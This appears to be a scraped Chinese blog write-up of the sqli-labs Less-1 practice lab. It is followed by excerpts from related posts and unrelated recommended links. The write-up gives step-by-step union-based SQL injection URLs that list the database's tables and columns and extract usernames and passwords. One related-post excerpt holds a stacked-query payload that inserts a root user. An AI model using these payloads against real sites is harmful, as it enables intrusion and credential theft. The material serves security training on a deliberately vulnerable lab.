【sqli-labs】 less1 GET - Error based - Single quotes - String(GET型基于错误的单引号字符型注入)
GET方式提交id参数
添加单引号,出现报错,爆出数据库名称和部分SQL语句
http://localhost/sqli/Less-1/?id=1'
使用order by猜测字段数,用#注释掉后面limit 0,1语句
http://localhost/sqli/Less-1/?id=1' order by 1#
字符#浏览器不会编码可以手动编码%23
http://localhost/sqli/Less-1/?id=1' order by 1%23
order by 4时页面不正常,推测字段数为3
使用union查询,查看字段显示位置
http://localhost/sqli/Less-1/?id=1' union select 1,2,3%23
没有出现1,2,3
数据库中执行,结果正常
查看源码发现,使用mysql_fetch_array函数只选择了一条结果
那么只要时union前面的查询返回为空就行了,发现有两个字段位置可以使用
http://localhost/sqli/Less-1/?id=a' union select 1,2,3%23
http://localhost/sqli/Less-1/?id=a' union select 1,VERSION(),USER()%23
得到数据库版本mysql 5.7.20-log ,用户root@localhost
可用concat_ws函数进行拼接 char(58)是字符:
数据库名security
http://localhost/sqli/Less-1/?id=a' union select 1,2,concat_ws(char(58),user(),database(),version())%23
直接联合information_schema表进行表名查询
http://localhost/sqli/Less-1/?id=a' UNION SELECT 1,table_name,3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='security' LIMIT 0,1%23
更改limit 后面数值得到表名
emails
referers
uagents
users
以users表为例,查询列名
http://localhost/sqli/Less-1/?id=a' UNION SELECT 1,2,column_name FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users' LIMIT 0,1%23
id
username
password
至此,我们得到了数据库名security 表名 users 列名 id username password
接下来就是取数据了
http://localhost/sqli/Less-1/?id=a' UNION SELECT 1,username,password FROM security.users LIMIT 0,1%23
【sqli-labs】 less1 GET - Error based - Single quotes - String(GET型基于错误的单引号字符型注入)的更多相关文章
- 【sqli-labs】 less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)
和less42一样 login_user=&login_password=1');insert into users(id,username,password) value(15,'root' ...
- 【sqli-labs】 less42 POST -Error based -String -Stacked(POST型基于错误的堆叠查询字符型注入)
Forgot your password? New User click here? 看源码,可以发现和less 24不同的一点在于password字段没有进行转义处理 那就对password字段进行 ...
- sqli-lab 第一题 单引号 error based single quotes
一.第一次见面 1.初识 http://localhost/Less-1/ 提示输入id,因此访问http://localhost/Less-1/?id=1 可以继续测试id=2.3.4等的情况,会输 ...
- 【sqli-labs】 less5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
双注入查询可以查看这两篇介绍 https://www.2cto.com/article/201302/190763.html https://www.2cto.com/article/201303/1 ...
- 【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') ...
- 【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" ...
- 【sqli-labs】 less11 POST - Error Based - Single quotes- String (基于错误的POST单引号字符型注入)
查看源码,用户名和密码通过post提交 加单引号提交 出现报错,推测对应的SQL语句 , 直接使用or构造永真登录 成功,注意此处登录的用户为表中的第一个用户 需要改变用户可以通过改变筛选条件实现 作 ...
- 【sqli-labs】 less45 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)
和Less44一个名字 测试一下,发现是')闭合的 login_user=&login_password=1') or sleep(0.1)# 那就是没有错误显示的less42 login_u ...
- 【sqli-labs】 less44 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)
盲注漏洞,登陆失败和注入失败显示的同一个页面 可以用sleep函数通过延时判断是否闭合引号成功 这个方法有一点不好的地方在于,并不能去控制延时,延时的时间取决于users表中的数据数量和sleep函数 ...
随机推荐
- UVa - 11452 - Dancing the Cheeky-Cheeky
先上题目: F. Dancing the Cheeky-Cheeky Context The Cheeky-Cheeky is a new song. They dance it in Mula, ...
- 洛谷 P1491 集合位置
P1491 集合位置 题目描述 每次有大的活动,大家都要在一起“聚一聚”,不管是去好乐迪,还是避风塘,或者汤姆熊,大家都要玩的痛快.还记得心语和花儿在跳舞机上的激情与释放,还记得草草的投篮技艺是如此的 ...
- springmvc mybatis 分页插件 pagehelper
springmvc mybatis 分页插件 pagehelper 下载地址:pagehelper 4.2.1 , jsqlparser 0.9.5 https://github.com/pagehe ...
- java常见的面试题
1. super()与this()的差别? super和this的差别: 1)super(參数):调用基类中的某一个构造函数(应该为构造函数中的第一条语句) 2)this(參数):调用本类中还有一种形 ...
- WCF学习笔记——不支持内容类型 text/xml; charset=utf-8
我在使用WCF的时候,客户端运行报错: 不支持内容类型 text/xml; charset=utf-8 原因是WCF服务做了修改.刷新客户端的服务引用,问题消失 =================== ...
- oc55--ARC单个对象的内存管理
// Person.h #import <Foundation/Foundation.h> @interface Person : NSObject @end // Person.m #i ...
- Git 少用 Pull 多用 Fetch 和 Merge 【已翻译100%】【转】
本文转载自:https://www.oschina.net/translate/git-fetch-and-merge?lang=chs&page=1# 本文有点长而且有点乱,但就像Mark ...
- codeforces 898F Hash
F. Restoring the Expression time limit per test 2 seconds memory limit per test 256 megabytes input ...
- CentOs7 修改rpm安装背景图
http://bbs.chinaunix.net/thread-4166176-1-1.html
- Android对话框与Activity共存时的异常
异常提示信息 01-01 18:30:38.630: E/WindowManager(14537): Activity com.jack.outstock.activity.ManageCustomA ...